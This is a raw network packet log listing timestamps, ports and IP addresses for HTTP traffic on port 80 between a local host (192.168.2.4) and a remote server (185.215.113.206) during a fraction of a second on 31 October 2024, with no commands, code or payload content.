Oct 31, 2024 17:26:33.207954884 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.207967043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.207973957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.207973957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208004951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208004951 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208015919 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208023071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208067894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208070993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208082914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208111048 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208182096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208194017 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208220959 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208245039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208246946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208260059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208283901 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208300114 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208333969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208344936 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208354950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208367109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208374977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208393097 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208419085 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208467007 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208478928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208504915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208523035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208528042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208539963 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208550930 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208563089 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208564043 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208574057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208591938 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208607912 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208744049 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208753109 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208777905 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208791018 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208832026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208846092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208873034 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208889008 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208909035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208920956 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208930969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208940983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208945990 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208952904 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.208957911 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.208981037 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.209000111 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.209202051 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209211111 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209219933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209230900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209240913 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209243059 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.209250927 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.209256887 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.209283113 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.209307909 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.244731903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244801044 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244812965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244842052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.244863033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.244882107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244894981 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244909048 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244920969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.244926929 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.244951963 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.244975090 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245184898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245197058 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245208025 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245218992 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245228052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245232105 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245244026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245250940 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245255947 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245268106 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245269060 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245280027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245285988 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245294094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245310068 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245333910 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245347023 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245481014 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245491982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245501041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245512009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245521069 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245537043 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245560884 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245749950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245763063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245773077 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245783091 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245789051 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245795965 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245806932 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245810032 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245817900 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245830059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245839119 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245841980 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245850086 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245855093 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245862961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245872021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245883942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.245893002 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245914936 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.245939016 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246084929 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246097088 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246105909 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246118069 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246126890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246145964 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246244907 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246256113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246265888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246277094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246287107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246287107 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246299982 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246303082 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246311903 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246325016 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246328115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246337891 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246349096 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246351004 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246362925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246368885 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246376038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246387959 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246392012 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246417999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246431112 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246794939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246807098 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246817112 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246829033 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.246834040 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246848106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.246869087 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247056961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247067928 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247081995 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247092962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247093916 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247104883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247119904 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247123957 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247137070 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247147083 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247149944 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247160912 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247164965 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247173071 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247185946 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247194052 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247199059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247211933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247215033 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247234106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247245073 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247884989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247898102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247908115 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247919083 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247929096 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247930050 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247942924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247944117 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247956038 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247967005 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247972965 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247977972 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.247988939 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.247988939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248003006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248003960 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248013973 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248027086 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248035908 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248039961 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248053074 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248063087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248063087 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248075008 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248075008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248087883 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248100042 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248102903 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248126984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248145103 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248328924 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248344898 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248358011 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248368979 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248368979 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248383045 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248383999 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248394012 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248403072 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248405933 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248419046 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248430967 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248440027 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248442888 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248450994 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248456001 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248465061 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248466969 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.248496056 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.248518944 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.295727015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.300673962 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573525906 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573589087 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573642015 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573668957 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573698997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573698997 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573704004 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573715925 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573726892 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573749065 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573765039 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573775053 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573817015 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573847055 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573858976 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573892117 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.573937893 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573949099 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573957920 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573968887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573978901 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.573987961 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574002981 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574028969 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574079990 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574126005 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574162006 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574172974 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574182987 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574194908 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574199915 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574218035 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574242115 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574265003 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574305058 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574341059 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574352980 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574362993 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574374914 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574376106 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574388027 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574394941 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574423075 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574541092 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574553013 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574563026 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574573040 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574582100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574585915 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574605942 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574632883 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574754953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574767113 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574778080 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574788094 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574793100 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574800968 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574815035 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574817896 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574829102 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574841022 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574848890 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574853897 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574867964 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574870110 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574879885 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.574882984 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574908972 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.574932098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575067997 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575079918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575103998 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575107098 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575118065 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575129986 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575131893 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575150967 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575167894 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575381041 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575392008 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575402021 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575412989 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575418949 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575431108 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575434923 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575443029 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575454950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575463057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575463057 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575468063 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575474977 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575480938 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575493097 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575505018 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575516939 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575526953 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575526953 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575548887 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575570107 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575602055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575602055 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.575814009 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.575858116 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576010942 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576030970 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576040983 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576051950 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576062918 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576062918 CET	80	62829	185.215.113.206	192.168.2.4
Oct 31, 2024 17:26:33.576075077 CET	62829	80	192.168.2.4	185.215.113.206
Oct 31, 2024 17:26:33.576075077 CET	80	62829	185.215.113.206	192.168.2.4
